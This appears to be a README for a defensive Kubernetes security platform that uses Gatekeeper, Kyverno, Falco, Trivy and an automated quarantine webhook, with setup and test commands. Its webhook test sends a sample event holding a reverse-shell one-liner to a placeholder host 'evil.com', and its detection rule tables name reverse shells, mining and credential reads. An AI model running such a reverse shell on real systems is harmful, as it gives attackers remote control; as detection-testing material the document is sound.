Production-grade Kubernetes runtime security platform for EKS. Implements defense-in-depth across admission control, runtime threat detection, continuous vulnerability scanning, and automated incident response — mapped to MITRE ATT&CK for Containers, CIS Kubernetes Benchmark 1.8, NIST 800-53, and PCI DSS.
Most container security focuses on the CI/CD pipeline — scanning images before they deploy. This platform covers what happens after deployment: detecting threats at runtime, enforcing policies at admission, continuously scanning running workloads, and automatically responding to incidents.
┌─────────────────────────────────────────────────────────────────────┐
│ DEFENSE IN DEPTH LAYERS │
│ │
│ Layer 1 — ADMISSION CONTROL (prevent bad configs entering cluster) │
│ ┌────────────────────────┐ ┌──────────────────────────────────┐ │
│ │ OPA Gatekeeper │ │ Kyverno │ │
│ │ - No privileged pods │ │ - Verify Cosign signatures │ │
│ │ - Approved registries│ │ - Disallow :latest tag │ │
│ │ - Required labels │ │ - Drop ALL capabilities │ │
│ │ - Resource limits │ │ - Require seccomp profile │ │
│ │ - Non-root required │ │ - Auto-generate NetworkPolicies│ │
│ └────────────────────────┘ └──────────────────────────────────┘ │
│ │
│ Layer 2 — RUNTIME DETECTION (detect threats in running containers) │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ Falco (eBPF-based, every node via DaemonSet) │ │
│ │ - Crypto mining processes MITRE T1496 │ │
│ │ - Reverse shell attempts MITRE T1059 │ │
│ │ - Container privilege escalation MITRE T1611 │ │
│ │ - Sensitive file access MITRE T1552 │ │
│ │ - Package manager execution MITRE T1190 │ │
│ │ - Network scanning tools MITRE T1046 │ │
│ │ - kubectl exec detection MITRE T1609 │ │
│ │ - K8s API anomalies (anonymous access, secret reads) │ │
│ └─────────────────────────────────────────────────────────────┘ │
│ │
│ Layer 3 — CONTINUOUS SCANNING (catch new CVEs post-deployment) │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ Trivy Operator (scans all running workloads continuously) │ │
│ │ - VulnerabilityReport per workload │ │
│ │ - ConfigAuditReport (K8s misconfigurations) │ │
│ │ - ExposedSecretReport (secrets in images) │ │
│ │ - RbacAssessmentReport │ │
│ │ - Prometheus metrics → alerts on new CRITICAL CVEs │ │
│ └─────────────────────────────────────────────────────────────┘ │
│ │
│ Layer 4 — AUTOMATED RESPONSE (contain threats faster than humans) │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ Falco → Falco Sidekick → auto-response.py webhook │ │
│ │ - Label pod as quarantined │ │
│ │ - Apply network isolation (deny all ingress/egress) │ │
│ │ - Capture forensic snapshot → S3 │ │
│ │ - Alert Slack + PagerDuty with full context │ │
│ │ - Optionally delete pod (restart from clean image) │ │
│ └─────────────────────────────────────────────────────────────┘ │
│ │
│ Layer 5 — AUDIT & COMPLIANCE │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ Kubernetes Audit Policy + RBAC Hardening │ │
│ │ - Captures secret access, exec, privilege escalation │ │
│ │ - Least-privilege roles: security-auditor, developer, │ │
│ │ cicd-deployer, incident-responder │ │
│ │ - Prometheus alerts on RBAC anomalies │ │
│ └─────────────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────────────┘
| Control | CIS K8s 1.8 | NIST 800-53 | PCI DSS | MITRE ATT&CK |
|---|---|---|---|---|
| No privileged containers | 5.2.1 | AC-6 | 2.2 | T1611 |
| Non-root containers | 5.2.6 | AC-6 | 2.2 | T1548 |
| Read-only root filesystem | 5.2.8 | CM-7 | 2.2 | T1070 |
| Drop all capabilities | 5.2.9 | AC-6 | 2.2 | T1548 |
| Approved registries only | — | CM-7 | 6.3 | T1525 |
| Required labels | — | CM-8 | — | — |
| Network policies | 5.3.2 | SC-7 | 1.3 | T1046 |
| Crypto mining detection | — | SI-4 | 11.4 | T1496 |
| Shell spawn detection | — | SI-4 | 11.4 | T1059 |
| Secret access audit | 3.2.1 | AU-2 | 10.2 | T1552 |
| Privilege escalation detection | — | AU-2 | 10.2 | T1611 |
| Least privilege RBAC | 5.1.1 | AC-6 | 7.1 | — |
| Audit logging | 3.2.1 | AU-2 | 10.2 | — |
| Continuous CVE scanning | — | SI-2 | 6.3 | — |
| Image signing verification | — | CM-14 | 6.3 | T1525 |
k8s-security-platform/
+-- README.md
+-- falco/
| +-- rules/enterprise-rules.yaml # 15 custom MITRE-mapped detection rules
| +-- config/falco-values.yaml # Falco + Sidekick Helm config
+-- gatekeeper/
| +-- constraint-templates/templates.yaml # 7 Rego policy templates
| +-- constraints/constraints.yaml # Constraint instances + exemptions
+-- kyverno/
| +-- policies/policies.yaml # Cosign verification, capabilities, seccomp
+-- trivy-operator/
| +-- values.yaml # Continuous CVE scanning config
+-- rbac/
| +-- rbac.yaml # Least-privilege roles + bindings
+-- audit/
| +-- audit-policy.yaml # K8s audit policy (API server)
+-- alerting/
| +-- prometheus/security-alerts.yaml # Prometheus security alert rules
+-- scripts/
| +-- bootstrap.sh # One-command cluster security setup
| +-- auto-response.py # Automated incident response webhook
./scripts/bootstrap.sh \
--cluster-name my-eks-cluster \
--region us-east-1 \
--slack-webhook https://hooks.slack.com/services/xxx/yyy/zzz# 1. OPA Gatekeeper
helm upgrade --install gatekeeper gatekeeper/gatekeeper \
-n gatekeeper-system --create-namespace \
--set replicas=3 --wait
kubectl apply -f gatekeeper/constraint-templates/templates.yaml
sleep 15 # Wait for CRDs
kubectl apply -f gatekeeper/constraints/constraints.yaml
# 2. Kyverno
helm upgrade --install kyverno kyverno/kyverno \
-n kyverno --create-namespace --wait
kubectl apply -f kyverno/policies/policies.yaml
# 3. Falco
helm upgrade --install falco falcosecurity/falco \
-n falco --create-namespace \
--values falco/config/falco-values.yaml --wait
# 4. Trivy Operator
helm upgrade --install trivy-operator aqua/trivy-operator \
-n trivy-system --create-namespace \
--values trivy-operator/values.yaml --wait
# 5. RBAC + Audit
kubectl apply -f rbac/rbac.yaml
kubectl apply -f alerting/prometheus/security-alerts.yaml# Try to deploy a privileged pod — should be denied
kubectl run privileged-test \
--image=nginx \
--overrides='{"spec":{"containers":[{"name":"nginx","image":"nginx","securityContext":{"privileged":true}}]}}'
# Expected: Error from server: admission webhook denied
# Check all constraints
kubectl get constraints
kubectl describe k8snoprivilegedcontainer no-privileged-containers# Spawn a shell in a container (triggers "Shell Spawned in Container" rule)
kubectl run test-pod --image=ubuntu --restart=Never --command -- sleep 3600
kubectl exec test-pod -- /bin/bash -c "echo test"
# Watch Falco events
kubectl logs -n falco -l app=falco --tail=20 -f# View all vulnerability reports
kubectl get vulnerabilityreports -A
# Get details for a specific workload
kubectl describe vulnerabilityreport -n devsecops-prod <report-name>
# Find all CRITICAL CVEs across the cluster
kubectl get vulnerabilityreports -A -o json | \
jq '.items[] | select(.report.summary.criticalCount > 0) |
{namespace: .metadata.namespace, name: .metadata.name, critical: .report.summary.criticalCount}'| Rule | MITRE Tactic | MITRE Technique | Priority |
|---|---|---|---|
| Crypto Mining Process Detected | Impact | T1496 | CRITICAL |
| Reverse Shell Attempt | Execution | T1059 | CRITICAL |
| Exec into Running Container | Lateral Movement | T1609 | CRITICAL |
| Privileged Pod Created | Privilege Escalation | T1611 | CRITICAL |
| Anonymous Access to K8s API | Initial Access | T1190 | CRITICAL |
| Container Privilege Escalation | Privilege Escalation | T1611 | HIGH |
| Sensitive File Access | Credential Access | T1552 | HIGH |
| Shell Spawned in Container | Execution | T1059 | HIGH |
| Network Scanning Tool Detected | Discovery | T1046 | HIGH |
| Log File Deletion | Defense Evasion | T1070 | HIGH |
| Setuid/Setgid Bit Set | Privilege Escalation | T1548 | HIGH |
| K8s Secret Accessed by Unexpected User | Credential Access | T1552 | HIGH |
| Service Account Token Read | Credential Access | T1552 | MEDIUM |
| Package Manager Executed | Execution | T1190 | MEDIUM |
When Falco detects a CRITICAL event, the response webhook:
-
Labels the pod as
security.enterprise.com/quarantined: true- Removes it from Service endpoints immediately (traffic stops)
- Makes the compromise visible to
kubectl get pods
-
Applies a quarantine NetworkPolicy — denies ALL ingress and egress to the pod
-
Captures forensic snapshot — full pod spec, last 500 log lines, K8s events — saved to S3 with KMS encryption
-
Alerts Slack + PagerDuty with full context (pod, image, command, namespace)
-
Optionally deletes the pod (set
AUTO_DELETE_PODS=true) — K8s restarts it from the clean image
# Run the response webhook locally for testing
export SLACK_TOKEN=xoxb-...
export S3_FORENSICS_BUCKET=my-forensics-bucket
python3 scripts/auto-response.py --server --port 9090
# Test with a sample event
curl -X POST http://localhost:9090/falco \
-H "Content-Type: application/json" \
-d '{"rule":"Reverse Shell Attempt","priority":"CRITICAL","output_fields":{"k8s.pod.name":"test-pod","k8s.ns.name":"default","container.image.repository":"nginx","proc.cmdline":"bash -i >& /dev/tcp/evil.com/4444 0>&1"}}'# 1. Find the quarantined pod
kubectl get pods -A -l security.enterprise.com/quarantined=true
# 2. Get the quarantine reason
kubectl get pod <pod-name> -n <namespace> \
-o jsonpath='{.metadata.annotations}'
# 3. Get forensic logs from S3
aws s3 ls s3://forensics-bucket/falco-events/ --recursive
aws s3 cp s3://forensics-bucket/falco-events/<namespace>/<pod>/<timestamp>.json /tmp/forensics.json
cat /tmp/forensics.json | jq .
# 4. After investigation — remove quarantine and delete pod
kubectl delete networkpolicy quarantine-<pod-name> -n <namespace>
kubectl delete pod <pod-name> -n <namespace>kubectl get constraintpodstatuses -A
kubectl describe k8sallowedrepos approved-registries-onlykubectl get vulnerabilityreports -n <namespace> -o wide
kubectl get configauditreports -n <namespace> -o wideMIT